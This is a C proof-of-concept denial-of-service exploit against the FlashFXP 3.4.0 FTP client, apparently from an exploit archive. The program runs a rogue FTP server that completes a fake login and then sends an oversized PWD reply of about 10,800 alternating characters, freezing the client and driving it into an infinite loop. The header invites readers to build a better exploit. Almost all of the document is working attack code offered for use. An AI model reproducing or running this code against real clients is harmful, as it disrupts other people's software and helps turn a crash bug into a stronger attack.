|
/*************************************************************************** * FlashFXP V 3.4.0 build 1145 Buffer Overflow DoS * * * * * * There's a strange bug in FlashFXP. * * When sending a long PWD command with more than 5420 \ separated by at * * least one different char, it is possible to make the app unstable. * * It will first freeze during 45s consuming 100% resources, and then, if * * the user hits disconnect and then reconnects to the server it will enter * * in an infinite loop trying to put data on the stack. * * * * * * I admit it is a little bit tricky but maybe someone will find a better * * way to exploit this vuln. * * * * Have Fun! * * * * Coded by Marsu <Marsupilamipowa@hotmail.fr> * ***************************************************************************/
#include "winsock2.h" #include "stdio.h" #include "stdlib.h" #include "windows.h" #pragma comment(lib, "ws2_32.lib")
int main(int argc, char* argv[]) { char recvbuff[1024]; char evilbuff[11000]; sockaddr_in sin; int server,client; WSADATA wsaData; WSAStartup(MAKEWORD(1,1), &wsaData);
int n=1; while (n<=2) { server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sin.sin_family = PF_INET; sin.sin_addr.s_addr = htonl(INADDR_ANY); sin.sin_port = htons( 21 ); bind(server,(SOCKADDR*)&sin,sizeof(sin)); printf("[*] Listening on port 21...\n"); listen(server,5); printf("[*] Waiting for client ...\n"); client=accept(server,NULL,NULL); printf("[+] Client connected\n");
memcpy(evilbuff,"220 Hello there\r\n\0",18); memset(recvbuff,'\0',1024);
if (send(client,evilbuff,strlen(evilbuff),0)==-1) { printf("[-] Error in send!\n"); exit(-1); }
//USER recv(client,recvbuff,1024,0); printf("%s", recvbuff); memcpy(evilbuff,"331 \r\n\0",7); send(client,evilbuff,strlen(evilbuff),0); Sleep(50);
//PASS recv(client,recvbuff,1024,0); printf("%s", recvbuff); memcpy(evilbuff,"230 \r\n\0",7); send(client,evilbuff,strlen(evilbuff),0);
//SYST memset(recvbuff,'\0',1024); recv(client,recvbuff,1024,0); printf("%s", recvbuff); memcpy(evilbuff,"215 WINDOWS\r\n\0",14); send(client,evilbuff,strlen(evilbuff),0);
//FEAT recv(client,recvbuff,1024,0); printf("%s", recvbuff); memcpy(evilbuff,"211 END\r\n\0",10); send(client,evilbuff,strlen(evilbuff),0);
//PWD int i=5; recv(client,recvbuff,1024,0); printf("%s", recvbuff); while (i<10840) { memset(evilbuff+i,'a',1); i++; memset(evilbuff+i,'//',1); i++; } memcpy(evilbuff,"257 \"",5); memcpy(evilbuff+10840,"\"\r\n\0",4); send(client,evilbuff,strlen(evilbuff),0); closesocket(client); closesocket(server); client=server=NULL;
if (n<2) { printf("[+] Now FlashFXP is out for 45sec.\n"); printf("[+] Note that user MUST click on disconnect and then reconnect\n to trigger the bug.\n\n"); } n++; } Sleep(2000); printf("\n[+] FlashFXP must be DoSed\n"); return 0; }
|
|
|